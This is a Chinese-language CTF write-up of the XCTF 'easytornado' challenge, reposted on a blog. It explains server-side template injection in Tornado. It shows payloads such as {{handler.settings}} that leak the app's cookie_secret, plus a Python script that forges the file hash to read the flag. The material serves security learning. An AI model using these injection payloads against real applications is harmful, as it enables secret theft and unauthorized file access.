服務端模板注入攻擊(SSTI)


前言:一樣,做XCTF題esaytornado時的知識點,還是認真刷題慢慢增加自己的知識面吧。

tornado是python中的一個web應用框架。

拿到題目發現有三個文件:

flag.txt

/flag.txt flag in /fllllllllllllag

發現flag在/fllllllllllllag文件里;

welcome.txt

/welcome.txt render

render是python中的一個渲染函數,渲染變量到模板中,即可以通過傳遞不同的參數形成不同的頁面。

hints.txt

/hints.txt md5(cookie_secret+md5(filename))

filehash=md5(cookie_secret+md5(filename)) 現在filename=/fllllllllllllag,只需要知道cookie_secret的既能訪問flag。

測試后發現還有一個error界面,格式為/error?msg=Error,懷疑存在服務端模板注入攻擊 (SSTI)

嘗試/error?msg={{datetime}} 在Tornado的前端頁面模板中,datetime是指向python中datetime這個模塊,Tornado提供了一些對象別名來快速訪問對象,可以參考Tornado官方文檔

通過查閱文檔發現cookie_secret在Application對象settings屬性中,還發現self.application.settings有一個別名

RequestHandler.settings An alias for self.application.settings.

handler指向的處理當前這個頁面的RequestHandler對象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。

構造payload獲取cookie_secret

/error?msg={{handler.settings}}

'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'

計算filehash值:

import hashlib def md5(s): md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def filehash(): filename = '/fllllllllllllag' cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r' print(md5(cookie_secret+md5(filename))) if __name__ == '__main__': filehash()

payload:

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

成功獲取flag。

在 模板引擎里,{{ var }}  除了可以輸出傳遞的變量以外,還能執行一些基本的表達式然后將其結果作為該模板變量的值,例如這里用戶輸入 name={{2*10}} ,則在服務端拼接的模版內容為:

Hello {{2*10}}

Twig 模板引擎在編譯模板的過程中會計算 {{2*10}}  中的表達式 2*10 ,會將其返回值 20  作為模板變量的值輸出,如下圖:

轉載參考:https://www.freebuf.com/vuls/83999.html#

https://www.cnblogs.com/gzs-monkey/p/10727330.html

https://adworld.xctf.org.cn/task/writeup?type=web&id=5422&number=3&grade=1&page=1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM